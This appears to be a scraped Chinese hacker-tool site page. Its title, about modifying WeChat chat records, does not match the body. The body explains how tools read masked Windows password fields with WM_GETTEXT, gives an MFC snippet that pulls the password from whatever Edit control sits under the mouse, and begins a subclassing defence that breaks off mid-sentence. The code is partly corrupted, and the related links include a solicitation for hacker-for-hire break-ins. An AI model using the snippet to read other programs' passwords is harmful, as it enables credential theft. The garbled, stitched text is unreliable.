如何修改微信聊天记录 哪位朋友知道微信号码怎

访客4年前黑客工具864

一、非法获取Password的原理   Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。   二、黑客软件工作 ***   首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:   //将客户坐标转换成屏幕坐标ClientToScreen(&point);//返回一个包含指定屏幕坐标点的窗口CWnd* pWnd = CWnd::WindowFromPoint(point);if (pWnd){//获取窗口句柄HWND hwndCurr = pWnd->GetSafeHwnd();if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=(::GetWindowThreadProcessId (hwndCurr, NULL))){char lpClassName[255];//获取类名if (::GetClassName(hwndCurr, lpClassName, 255)){//判断是否是Edit控件if (0 == m_strWndClass.CompareNoCase("EDIT")){//获取窗口风格LONG lStyle. = ::GetWindowLong(hwndCurr, GWL_STYLE);//如果设置了ES_PASSWORD属性if (lStyle. & ES_PASSWORD){char szText[255];//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);//密码已保存在szText中m_strPassword = szText;}}}}}   上述代码中值得注意的有以下几个关键地方:   ClientToScreen(&point);CWnd* pWnd = CWnd::WindowFromPoint(point);HWND hwndCurr = pWnd->GetSafeHwnd();   这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。   这便是真正起作用的SendMessage了,其之一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。   三、防范措施   既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种 *** 来验证发送消息者的身份是否合法:   1.创建新CEdit类   从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;   然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:   LRESULTCPasswordEdit:efWindowProc (UINTmessage,WPARAMwParam,LPARAMlParam){ //对Edit的内容获取必须通过以下两个消息之一if((message==WM_GETTEXT)||(message==EM_GETLINE)) { //检查是否为合法if(!g_bSenderIdentity){//非法获取,显示信息AfxMessageBox(_T ("报告:正在试图窃取密码!"));return 0;}//合法获取g_bSenderIdentity=FALSE;}return CEdit:efWindowProc (message,wParam,lParam);}   2.在数据输入对话框中做些处理   在对话框中申明一个类成员   m_edtPassword:CpasswordEdit m_edtPassword;   然后在对话框的OnInitDialog()中加入下列代码:   m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);   将控制与新类做关联。之后要在对话框的数据交换函数中将身份设为合法:

相关文章

深圳购房追溯3年内离婚记录怎么回事?深圳购房通知全文有哪些条件

2020年7月15日,市住房建设局等八个部门联合印发了《关于进一步促进我市房地产市场平稳健康发展的通知》(深建字〔2020〕137号,以下简称《通知》),引起社会各界广泛关注。为准确把握政策精神,确保...

搜索引擎优化的方法和技巧有哪些(老站长分享

搜索引擎优化的方法和技巧有哪些(老站长分享

从事SEO的人也变得越来越多,在对网站进行优化的时候,主要还是针对百度的搜索引擎来进行的。今天就和大家分享一下几个技巧,帮你理清楚整个过程,让你轻松搞定网站SEO优化。 一、搜索引擎优化SEO的步骤...

黑客免费帮忙不收钱的「网赌专业追款不收前期」

黑客免费帮忙不收钱的「网赌专业追款不收前期」

  黑客免费帮忙不收钱的   想找个实力派的黑客高手,希望有兴趣的黑客请留个联系方式.,其他的要求就不在这里说了,我知道那台电脑的用户名,你只需要帮我进入一台电脑,具体的费用你只要开个你开个价...

孙膑兵法(孙膑到底有没有写过兵法?)

孙膑兵法(孙膑到底有没有写过兵法?) 孙膑,其本名孙伯灵,是战国时代齐国的军事家,出生于阿鄄之间(今菏泽市鄄城),是军百思特网事家孙武的后代。相传孙膑和魏国大将军庞涓同出于鬼谷子师门,后来孙膑被庞涓...

电脑声音失真

先查验音箱是不是存有常见故障,若音箱完好无损再调节声频。右下方声音图标,响声难题习题的搜索与解答,默认设置声音设备,好的,请打开声频提高作用,等级,将声音调节器放大,音量合成器,将各类响声放大,鼠标右...

我的世界菜鸟大神黑客大比拼(我的世界菜鸟高手黑客)

我的世界菜鸟大神黑客大比拼(我的世界菜鸟高手黑客)

本文目录一览: 1、我的世界高手与菜鸟的差距哪个最搞笑 2、世界黑客排名? 3、世界十大黑客排行榜 我的世界高手与菜鸟的差距哪个最搞笑 小日本:“你儿子是抗联的吗?”老太:“你说我儿子是卖盐...